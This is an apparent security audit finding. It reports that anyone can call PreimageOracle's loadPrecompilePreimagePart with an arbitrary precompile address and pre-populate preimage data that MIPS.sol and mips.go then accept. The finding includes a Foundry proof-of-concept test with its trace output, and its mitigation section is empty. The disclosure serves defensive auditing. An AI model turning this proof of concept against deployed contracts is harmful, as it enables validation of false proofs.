Addresses can be pre-populated with bad data
mediumLines of code
Vulnerability details
Description
Inside PreimageOracle.sol, anyone can call the loadPrecompilePreimagePart() to load data into the contract.
The problem is that anyone is able to specify the address _precompile parameter. This opens up the door for malicious users to pre-populate data and use it to validate wrong data.
Proof of Concept
PreimageOracle.readPreimage() is used to read already validated preimage_data, this happens in the MIPS.sol implementation and the mips.go implementation:
mips.go
golangdat, datLen := m.readPreimage(m.state.PreimageKey, m.state.PreimageOffset)
mips.sol
javascript(bytes32 dat, uint256 datLen) = ORACLE.readPreimage(preimageKey, state.preimageOffset);
Looking at readPreimage, we can notice this check that happens that ensures the field is set to true:
javascriptfunction readPreimage(bytes32 _key, uint256 _offset) external view returns (bytes32 dat_, uint256 datLen_) { -> require(preimagePartOk[_key][_offset], "pre-image must exist"); // Calculate the length of the pre-image data // Add 8 for the length-prefix part datLen_ = 32; uint256 length = preimageLengths[_key]; if (_offset + 32 >= length + 8) { datLen_ = length + 8 - _offset; } // Retrieve the pre-image data dat_ = preimageParts[_key][_offset]; }
Now, a malicious user can use the address of the next precompile to be added as a parameter, specify the data he wants to be pass and it well set the flag to true, enabling the ability to read the preimage with invalid data.
Put this test in PreimageOracle.t.sol:
javascriptfunction test_poc() public { bytes memory input = hex"deadbeef1337"; uint256 offset = 0x00; // Newly added precompile address precompile = address(bytes20(uint160(0x0b))); bytes32 key = precompilePreimageKey(precompile, input); oracle.loadPrecompilePreimagePart(offset, precompile, input); // try reading, it should succeed oracle.readPreimage(key, offset); }
Running it, this is the output:
zshRan 1 test for test/cannon/PreimageOracle.t.sol:PreimageOracle_Test [PASS] test_poc() (gas: 78279) Traces: [78279] PreimageOracle_Test::test_poc() ├─ [70193] PreimageOracle::loadPrecompilePreimagePart(0, 0x000000000000000000000000000000000000000b, 0xdeadbeef1337) │ ├─ [0] 0x000000000000000000000000000000000000000b::deadbeef(1337) [staticcall] │ │ └─ ← [Stop] │ └─ ← [Stop] ├─ [1420] PreimageOracle::readPreimage(0x06305151be4abfdb70c687fa523f7bcbd835866a36eff720ca0ecbfee10c8320, 0) [staticcall] │ └─ ← [Return] 0x0000000000000001010000000000000000000000000000000000000000000000, 9 └─ ← [Stop]
This means that the calls from cannon and mips.sol can all succeed, leading to malicious users crafting data such that they can validate invalid proofs because the storage can be pre-populated and when doing a read on the precompileimage, it will be true and succeed.
Recommended Mitigation Steps
Assessed type
Other
